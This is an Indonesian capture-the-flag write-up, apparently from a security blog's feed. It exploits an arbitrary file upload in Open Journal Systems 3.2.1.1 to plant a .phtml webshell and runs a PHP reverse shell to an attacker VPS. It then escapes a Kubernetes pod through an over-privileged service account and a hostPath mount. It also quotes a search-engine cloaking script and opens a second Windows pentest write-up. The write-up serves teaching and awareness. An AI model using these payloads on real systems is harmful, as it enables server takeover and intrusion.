<p>Jika kita inspect element dan membuka tab network, akan banyak file yang diload dan terdapat indikasi versi OJS yang dipakai </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="981" height="555" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2.png" alt="" class="wp-image-560" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2.png 981w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2-300x170.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2-768x434.png 768w" sizes="auto, (max-width: 981px) 100vw, 981px" /></figure>



<p>Pada kasus challenge ini, terlihat OJS memakai version 3.2.1.1 yang kita bisa langsung melihat source code pada githubnya <a href="https://github.com/pkp/ojs/tree/3_2_1-1">https://github.com/pkp/ojs/tree/3_2_1-1</a></p>



<p>Dan sebenarnya untuk melakukan exploitnya cukup mudah karena banyaknya PoC yang disediakan. Karena kerentanannya terkait dengan Arbitrary File Upload, hal paling tricky disini adalah mencari path webshell setelah diupload.</p>



<p>PoC ?</p>



<ul class="wp-block-list">
<li>Register pada http://157.230.255.81/index.php/bhitech/user/register</li>



<li>Setelah register, kemudian pilih <strong>make a new submission</strong></li>



<li>Centang semua pada step 1</li>



<li>Kemudian step 2, disini akan ada modal untuk melakukan upload file</li>



<li>Upload file webshell / malicious dengan extension .phtml</li>
</ul>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="535" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-1024x535.png" alt="" class="wp-image-561" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-1024x535.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-300x157.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-768x401.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3.png 1430w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini sebenarnya file telah berhasil di upload pada server, dan seperti yang dikatakan sebelumnya jika kita perlu mencari path aktual dari file yang diupload. jika kita mengclick file yang terupload maka nama akan berubah menjadi 1-Article Text-1-1-2-20250727.phtml dan hal ini bisa menjadi acuan petunjuk tambahan.</p>



<p>Sedikit info, path file pada OJS sendiri bisa di custom yakni saat instalasi, admin bisa melakukan custom folder untuk file journal seperti /files, /data, /ojs ataupun lainnya dan bahkan untuk lebih securenya, secara default path file bisa diluar dari document_root pada website, misalkan webroot berada pada /var/www/html/, file journal bisa diletakkan di /var/www/files/ dan dalam hal ini yang tidak memungkinkan dilakukan exploitation.</p>



<p>Setelah itu kita bisa melakukan enumeration directory, dalam hal ini aku menggunakan dirsearch</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="608" height="350" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-4.png" alt="" class="wp-image-562" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-4.png 608w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-4-300x173.png 300w" sizes="auto, (max-width: 608px) 100vw, 608px" /></figure>



<p>Disini ditemukannya directory /files, dan ternyata directory listingnya kebuka </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="556" height="523" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-5.png" alt="" class="wp-image-563" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-5.png 556w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-5-300x282.png 300w" sizes="auto, (max-width: 556px) 100vw, 556px" /></figure>



<p>Terdapat suatu file catatan.txt disini, dan jika kita buka </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-84752b9e80570c34142b787e7c247aa8"><code>Di sebuah rumah di perbatasan kabupaten magetan, tinggallah seorang yang bernama Rafli. Rafli ini sehari sehari bekerja freelance sebagai web developer yang suatu ketika ada client dari universitas swasta, sebut saja universitas siber yang meminta untuk membuat platform publikasi jurnal ilmiah. Akhirnya setelah berbincang bincang via telpon mereka sepakat dengan deadline 2 minggu untuk aplikasinya ini dapat digunakan

tak berfikir lama Rafli langsung mengunduh sebuah CMS yang dinamakan OJS(open journal system). Rafli sempat mengunjungi github https://github.com/pkp/ojs dengan melihat sekilas source codenya karena sifatnya yang open source dan Rafli yakin dengan memakai OJS ini dengan memodifikasi-nya sedikit agar sesuai yang diminta client-nya

Rafli tak peduli dengan banyak security issue yang terdampak pada OJS ini, yang difikirkan Rafli yang penting sesuai dan memangkas waktu agar deadline 2 minggu ini terselesaikan dengan baik. Yang akhirnya pilihan Rafli sudah bulat dimana setelah itu dia meminta suatu VPS kepada pihak client agar aplikasinya dapat di deploy

Rafli mengerjakan project ini dengan kurang dari 2 minggu dan Rafli juga tidak sempat membaca dokumentasi best practice dari OJS terutama masalah security, Rafli juga tidak membaca issue github seseorang yang terkena hacking pada website OJS-nya https://github.com/pkp/pkp-lib/issues/7786 terlebih Rafli juga tidak riset terkait seseorang menggunakan exploit zeroday pada OJS ini https://openjournaltheme.com/urgent-critical-vulnerabilities-in-3-3-0-18-upgrade-your-ojs-now/

Yang akhirnya setelah semuanya beres, sesuai kesepakatan dengan deadline 2 minggu maka mereka sepakat mempublikasikan ke internet dan kedua belah pihak sangat senang dimana Rafli mendapatkan uang dari project ini sementara pihak kampus mempunyai platform journal-nya sendiri. Hingga selang beberapa waktu, ternyata benar saja traffic mulai melonjak yang mengakibatkan website hampir down, dengan pendekatan yang pas, akhirnya pihak kampus melalui sysadminnya mengkonfigurasi load balancing dan auto scalling pada aplikasinya menggunakan kubernetes dan dimana node worker pada OJS-nya dibuat menjadi beberapa POD seperti apache dan mysql dipisah dalam pod yang berbeda

Hari demi hari platform OJS-nya berjalan lancar sampai akhirnya mereka menyadari ada anomaly log yang berbeda dan ada yang melakukan takeover kepemilikan pada websitenya melalui google search console, sontak membuat sysadmin terkejut karena tidak ada perubahan yang signifikan pada websitenya sampai menyadari ada perubahan datetime pada index.php dan tambahan file pada directory webrootnya seperti sitemap.xml, google1337.html dan index.txt, indexx.php. dan setelah itu sysadmin mecoba membuka index.php dengan isi

```
&lt;?php
$googleBots = &#91;
    'Googlebot',
    'Googlebot-Mobile',
    'Googlebot-Image',
    'Mediapartners-Google', 
    'AdsBot-Google',
    'Feedfetcher-Google'
];


$userAgent = $_SERVER&#91;'HTTP_USER_AGENT'] ?? '';

$isGoogleBot = false;
foreach ($googleBots as $bot) {
    if (stripos($userAgent, $bot) !== false) {
        $isGoogleBot = true;
        break;
    }
}

if ($isGoogleBot) {
    include 'index.txt';
} else {
    include 'indexx.php';
}
?&gt;
```
Dan setelah menyadari script tersebut merupakan cloacking yang bertujuan untuk memanipulasi crawler dan googlebot dengan menampilkan konten yang berbeda dan seringkali digunakan di kalangan blackhat SEO. Dan benar saja website muncul rank 1 di mesin pencari google dengan keyword "Toto Gacor"

sysadmin menghubungi Rafli untuk memperoleh informasi dari aplikasi yang dibuatnya dan menjelaskan jika website diretas oleh hacker judol yang berafiliasi dengan para bandar di kamboja, karena ada indikasi kuat IP dari log yang di analysis tersebut berada di kota poipet.

Disini sysadmin meghubungi Rafli bukan semata mata hanya karena aplikasi OJS-nya saja, tapi karena server tersebut sudah terintegrasi dengan kubernetes dan takutnya para hacker ini melakukan escape dan breakout pada containernya sehingga dapat mengakses host utama

setelah dihubungi pihak universitas, Rafli juga terkejut dan menghubungi temannya yang bekerja sebagai red teamer dan paham terkait security, sebut saja Rimba. Disini Rimba menjelaskan kerentanan di OJS yang cukup umum dan sangat mudah dilakukan exploitation

Rimba menjelaskan dengan sangat detail dan memberi tahu Rafli jika kerentanan terletak pada file /lib/pkp/classes/file/FileManager.inc.php dengan code berikut :

```
function parseFileExtension($fileName) {
                $fileParts = explode('.', $fileName);
                if (is_array($fileParts) &amp;&amp; count($fileParts) &gt; 1) {
                        $fileExtension = $fileParts&#91;count($fileParts) - 1];
                }

                // FIXME Check for evil
                if (!isset($fileExtension) || stristr($fileExtension, 'php') || strlen($fileExtension) &gt; 6 || !preg_match('/^\w+$/', $fileExtension)) {
                        $fileExtension = 'txt';
                }

                // consider .tar.gz extension
                if (strtolower(substr($fileName, -7)) == '.tar.gz') {
                        $fileExtension = substr($fileName, -6);
                }

                return $fileExtension;
        }
```
dan juga pada ./lib/pkp/classes/context/LibraryFile.inc.php

```
function getFilePath() { 
	$contextId = $this-&gt;getContextId(); 
	return Config::getVar('files', 'files_dir') . '/contexts/' . $contextId . '/library/' . $this-&gt;getServerFileName(); 

}
function &amp;getTypeSuffixMap() { 
	static $suffix = array( 
	    LIBRARY_FILE_TYPE_MARKETING =&gt; 'MAR', 
	    LIBRARY_FILE_TYPE_PERMISSION =&gt; 'PER', 
		LIBRARY_FILE_TYPE_REPORT =&gt; 'REP', 
		LIBRARY_FILE_TYPE_OTHER =&gt; 'OTH' 
	); 
	return $suffix; 
} 
$fileName = $baseName . '-' . $suffix . '.' . $ext;
```
Yang intinya ada semacam kerentanan yang dapat mengarah ke RCE dan dapat digunakan takeover suatu server, dan setelah dijelaskan baru Rafli paham kenapa bisa terjadi dan dengan bantuan Rimba, akhirnya kerentanan dapat dilakukan patching dan mitigasi serta membuat file OJS tidak dapat diakses dari document rootnya.

~xpl0dec </code></pre>



<p>Didalam catatan itu terdapat mengenai perbincangan dari Rafli dan Sysadmin kampus mengenai OJS-nya diretas yang digunakan untuk promosi judi online dan juga tedapat deskripsi singkat mengenai kerentanan beserta source codenya.</p>



<p>Umumnya ada beberapa path static atau pola directory file OJS yang terupload yaitu untuk version 2.x.x /journals/[stageId]/articles/[submissionId]/submission/original/[namafilenya] sementara untuk version 3.x.x /journals/[stageId]/articles/[submissionId]/submission/[namafilenya]  </p>



<p>apa itu journalid dan articleid ? jadi setelah file diupload kita bisa klik file untuk download dan akan request ke endpoint berikut <br>/index.php/bhitech/$$$call$$$/api/file/file-api/download-file?fileId=1&amp;revision=1&amp;submissionId=1&amp;stageId=1, ada beberapa hal yang diperhatikan disini yang dimana stageId=1 merupakan path id pada stage sementara submissionId terkait path setelah artice dalam hal ini 1 dan jika kita kombinasikan menjadi path seperti ini /files/journals/1/articles/1/submission/[namafile]</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="363" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-1024x363.png" alt="" class="wp-image-564" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-1024x363.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-300x106.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-768x272.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6.png 1329w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Masih notfound, dan sepertinya ada yang salah jadi mari kita breakdown dan analysis dari source codenya, dan disini bisa ditemukan fungsi getClientFileName() pada file https://github.com/pkp/pkp-lib/blob/6c34557418261be3ca50b797acb144f9332ca239/classes/submission/SubmissionFile.inc.php#L297</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="883" height="488" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7.png" alt="" class="wp-image-565" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7.png 883w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7-300x166.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7-768x424.png 768w" sizes="auto, (max-width: 883px) 100vw, 883px" /></figure>



<p>disini sebenarnya yang diubah hanya pada bagian $genre-&gt;getLocalizedName() dan jika kita gulir kebawah juga ditemukan fungsi _generateFileName()</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="818" height="411" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8.png" alt="" class="wp-image-566" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8.png 818w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8-300x151.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8-768x386.png 768w" sizes="auto, (max-width: 818px) 100vw, 818px" /></figure>



<p>Kita bisa menebak jika, nama file seperti ini 1-Article Text-1-1-2-20250729.phtml maka pada bagian Artice Text akan diubah ke bentuk integer 1-[getGenreId()]-1-1-2-20250729.phtml</p>



<p>fungsi getGenreId() dan variable $genre memanggil class GenreDAO dari file https://github.com/pkp/pkp-lib/blob/main/classes/submission/GenreDAO.php#L4</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="803" height="438" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9.png" alt="" class="wp-image-567" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9.png 803w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9-300x164.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9-768x419.png 768w" sizes="auto, (max-width: 803px) 100vw, 803px" /></figure>



<p>yang dimana merupakan query database yang melakukan get data pada tables genres, dan kemudian melakukan return pada fungsi _fromRow()</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="928" height="541" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10.png" alt="" class="wp-image-570" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10.png 928w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10-300x175.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10-768x448.png 768w" sizes="auto, (max-width: 928px) 100vw, 928px" /></figure>



<p>_fromRow mengambil tables <code>genre_settings</code> pada database yang dimana isi dari genre_settings merupakan list dari topik jurnal yang akan dipublikasikan </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="274" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-1024x274.png" alt="" class="wp-image-571" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-1024x274.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-300x80.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-768x205.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-1536x411.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11.png 1661w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>yang dimana disini, bisa kita asumsikan jika result dari genreId() merupakan data yang diambil dari column <code>genre_id</code> pada tables genres dan genre_setting dan bisa disimpulkan jika list jurnal seperti Aritcle Text sampai other akan dikonversikan sesuai dari genre_id nya seperti :</p>



<ul class="wp-block-list">
<li>Article Text : 1</li>



<li>Research Instrument : 2</li>



<li>Research Materials : 3</li>



<li>Research Results : 4</li>



<li>Transcripts : 5</li>
</ul>



<p>hingga seterusnya sampai bagian other di genre_id 12, yang berarti jika nama file 1-Article Text-1-1-2-20250729.phtml akan menjadi 1-1-1-1-2-20250729.phtml</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="426" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-1024x426.png" alt="" class="wp-image-572" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-1024x426.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-300x125.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-768x320.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-1536x639.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12.png 1716w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dan path valid yang menampilkan informasi php, dan lanjut kita coba untuk melakukan reverse shell </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-239e37e590c1870932611edd7139ec1e"><code>&lt;?php

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("file", "/dev/null", "a") // stderr is a file to write to
);

$process = proc_open("/bin/bash -c 'bash -i >&amp; /dev/tcp/&#91;ip_vps]/&#91;portnya] 0>&amp;1'", $descriptorspec, $pipes);

if(is_resource($process)) {
    echo "&lt;pre>" . stream_get_contents($pipes&#91;1]);
    fclose($pipes&#91;1]);
}
?></code></pre>



<p>Menggunakan code php dengan fungsi proc_open kita bisa menjalankan bash command yang akan melakukan reverse shell ke VPS yang kita tentukan.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="693" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-1024x693.png" alt="" class="wp-image-573" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-1024x693.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-300x203.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-768x520.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13.png 1252w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini kita berhasil melakukan gaining access dan mendapatkan user flag </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-5a8a5fb6f77037dd4c29a6bb0ec4b264"><code>bhitech{M4S1h_ScRipT_k1ddiEs}

untuk root flagnya, gunakan otak dan kemampuan hackingmu.
sedikit clue mungkin membantu https://kubernetes.io/docs/reference/access-authn-authz/authentication/</code></pre>



<p>Pada file flag juga disertakan clue yang terkait dengan kubernetes serta diberikan refrensi link dokumentasi tentang access authentication pada kubernetes itu sendiri. Jadi kita bahas sedikit tentang kubernetes agar kita lebih paham. Kubernetes disebut sebagai Container Orchestration yang berfungsi untuk melakukan deploy, scaling dan management container secara otomatis, dan biasanya kubernetes itu digunakan pada aplikasi yang berbasis microservice maupun aplikasi dengan skala yang besar.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="669" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-1024x669.png" alt="" class="wp-image-575" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-1024x669.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-300x196.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-768x502.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-1536x1003.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster.png 1600w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Arsitektur kubernetes bisa dilihat pada gambar diatas yaitu terdapat beberapa component penting yang perlu kita ketahui, pertama ada cluster yang merupakan suatu wadah besar yang menampung Node, Control Plane dan utilitas lain dari kubernetes. sedangkan ada Control Plane yang digunakan untuk mengelola node melalui API server dan controller manager atau bisa dibilang Control Plane/Master Node ini server yang mengontrol semua worker node sementara Worker Node itu client-nya yang berisi pod dan container yang dilakukan otomatisasi dan dikontrol oleh master node. Mungkin teman teman bisa langsung cek dokumentasi lebih lanjut untuk lebih memahami kubernetes ini  </p>



<p>Kembali pada topik utama, jika kita baca baca pada refrensi diatas pada bagian service account, dikatakan seperti ini</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="874" height="201" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14.png" alt="" class="wp-image-574" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14.png 874w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14-300x69.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14-768x177.png 768w" sizes="auto, (max-width: 874px) 100vw, 874px" /></figure>



<p>Disini menarik karena service account tokens pada kubernetes disimpan didalam secret API object yang mana user manapun dengan kemampuan write bisa melakukan request token dan user yang mempunyai izin baca bisa melakukan authentikasi menjadi service account dan disana diperingatkan juga jika harus hati hati saat memberikan permission pada service account.</p>



<p>Jadi jika service account itu diberikan kemampuan yang mumpuni misalkan untuk membuat pods baru dan eksekusi pods maka potensi melakukan breakout/escape pada kubernetes sangat mungkin dikarenakan kita bisa melakukan mounting directory pada host utama.</p>



<p>Contoh rules yaml-nya seperti berikut :</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-e65dacb59b848226dc2b6c14a321f2f6"><code>rules:
- apiGroups:
  - ""
  resources: &#91;"pods", "pods/exec"]
  verbs: &#91;"get", "list", "create", "update", "delete", "exec", "watch", "patch", "edit"]</code></pre>



<p>Dimana disini verbs atau izin, bisa melakukan apapun yang dimana hal ini bisa disalahgunakan dengan membuat pods baru. Jadi kita coba melakukan practicalnya, pertama kita perlu tools untuk berkomunikasi dengan API server di control plane menggunakan kubectl</p>



<p><a href="https://kubernetes.io/docs/tasks/tools">https://kubernetes.io/docs/tasks/tools</a></p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-50a674d6fd413167569cbab00c26f6ed"><code>cd /tmp; curl -LO "https://dl.k8s.io/release/<strong>$(</strong>curl -L -s https://dl.k8s.io/release/stable.txt<strong>)</strong>/bin/linux/amd64/kubectl"
</code></pre>



<p>Untuk melakukan identifikasi jika yang kita compromised itu merupakan pods pada kubernetes, kita bisa membaca access token pada /var/run/secrets/kubernetes.io/serviceaccount/token dan jika outputnya merupakan string acak berarti kita berada pada container yang di isolasi.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="160" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-1024x160.png" alt="" class="wp-image-576" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-1024x160.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-300x47.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-768x120.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15.png 1224w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Kemudian kita cek permission dengan command <em>kubectl auth can-i &#8211;list</em></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="524" height="129" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-16.png" alt="" class="wp-image-577" style="width:795px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-16.png 524w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-16-300x74.png 300w" sizes="auto, (max-width: 524px) 100vw, 524px" /></figure>



<p>Terlihat tanda * artinya disini kita bisa melakukan apapun pada pods dalam namespace yang kita gunakan saat ini, jadi disini kita mempunyai high privilege karena misconfiguration dari service account. Idenya kita akan membuat pods baru yang melakukan mounting pada host utama, jadi mari kita buat PoC yaml-nya</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-871f0b835b64a91eaf3d3a9239e93ff0"><code>apiVersion: v1
kind: Pod
metadata:
  name: privesc
spec:
  containers:
    - name: privesc
      image: busybox:1.28
      command: &#91;'sh', '-c', 'echo "Privilege Escalation Payload" &amp;&amp; tail -f /dev/null']
      volumeMounts:
        - name: mounting
          mountPath: /tmp/main-host/
  volumes:
    - name: mounting
      hostPath:
        path: /</code></pre>



<p>yaml diatas merupakan script kubernetes untuk membuat pods baru dan dalam hal ini kita menamakan pods tersebut dengan &#8220;privesc&#8221; dan juga kita akan membuild container dari image busybox karena disini aku memilih busybox karena ukurannya yang relatif kecil, kemudian setelah itu kita melakukan volumeMount yang akan melakukan mounting host utama ke directory /tmp/main-host/ didalam container.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="742" height="296" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-17.png" alt="" class="wp-image-578" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-17.png 742w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-17-300x120.png 300w" sizes="auto, (max-width: 742px) 100vw, 742px" /></figure>



<p>Gambar diatas kita melakukan create pods baru melalui file yaml yang kita buat kemudian kita melihat pods ada 3 dengan salah satu namanya yaitu &#8220;privesc&#8221;, yang mengindikasikan jika kita berhasil membuat pods baru, langkah selanjutnya kita exec dan masuk pada pods privesc dan cek directory /tmp/main-host/</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="552" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-1024x552.png" alt="" class="wp-image-579" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-1024x552.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-300x162.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-768x414.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18.png 1106w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>pada directory main-host jika kita ls maka akan menampilkan filesystem dari main host yang dimana sesuai dari petunjuk challenge jika flag berada pada directory /root/root.txt</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1018" height="472" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19.png" alt="" class="wp-image-580" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19.png 1018w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19-300x139.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19-768x356.png 768w" sizes="auto, (max-width: 1018px) 100vw, 1018px" /></figure>



<p>Dan kita berhasil mendapatkan root flag <strong><em>bhitech{m3m4nG_b3N3R4N_h4ck3r_buk4N_ScRiPt_Kidd13S}</em></strong></p>



<p class="has-large-font-size"><strong>Penutup</strong></p>



<p>Kita berhasil menyelesaikan challenge dan mendapatkan root flag, disini kita bisa mengambil kesimpulan jika sesuatu yang kelihatan sepele seperti exploit OJS dengan melakukan lateral movement yang tepat bisa compromise atau takeover system sepenuhnya dan bayangkan saja jika terjadi di real world pada machine production maka akan sangat fatal sekali. Disini Bhineka Tech juga memberikan edukasi terkait OJS ini dan sekaligus mengangkat tema peretasan yang terkait dengan judi online karena banyak sekali platform dan website indonesia ini yang masih rentan tersusupi landing page dan backlink perjudian, semoga menambah insight dan memberikan awareness kepada peggiat di bidang ini khususnya cybersecurity.</p>



<p><em>&#8220;Jangan pernah menganggap belajar sebagai tugas, tetapi anggaplah sebagai kesempatan berharga untuk mempelajari sesuatu.&#8221;</em> &#8211; <strong>Albert Einstein</strong></p>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/">WriteUp Hacking Challenge &#8211; Bhineka Tech</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Windows Pentesting Bhitech &#8211; Write Up</title>
		<link>https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/</link>
					<comments>https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Mon, 03 Feb 2025 06:02:09 +0000</pubDate>
				<category><![CDATA[Capture The Flag]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=514</guid>

					<description><![CDATA[<p>Kemaren lalu aku share challenge pentesting yang menggunakan machine windows, dengan deskripsi sebagai berikut Dimana sama dengan chall pentesting lainnya yang mengharuskan untuk membaca flag yang disimpan pada server yakni terletak pada user dan administrator directory, dan disini kita diberikan suatu IP address server jadi langsung lakukan reconnaissance untuk phase awal Terdapat beberapa service yang [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/">Windows Pentesting Bhitech &#8211; Write Up</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Kemaren lalu aku share challenge pentesting yang menggunakan machine windows, dengan deskripsi sebagai berikut</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-f5f35207d78f2f9052282fb89e493989"><code>Pentest Day Bhitech Challenge

Host: 143.198.222.180
Machine: Windows
Level: Easy
Flag Format: bhitech{}

Deskripsi: Selamat datang di Pentest Day! Tantangan simpel, tapi seru. Tugasmu adalah mendapatkan dua flag yang tersembunyi di direktori user dan administrator. Gunakan segala cara dan skill yang kamu punya—dari eksploitasi sampai trik-trik cerdik lainnya!

Ingat, tujuan utamanya adalah eksplorasi dan belajar. Jangan merusak system yang ada! Semua yang kamu lakukan harus untuk tujuan edukasi.

Catatan: Jangan lupa fokus untuk eksploitasi dan seru-seruan—gak ada yang lebih keren dari belajar sambil nge-hack!

Good luck, happy hacking, and let’s grab those flags!</code></pre>



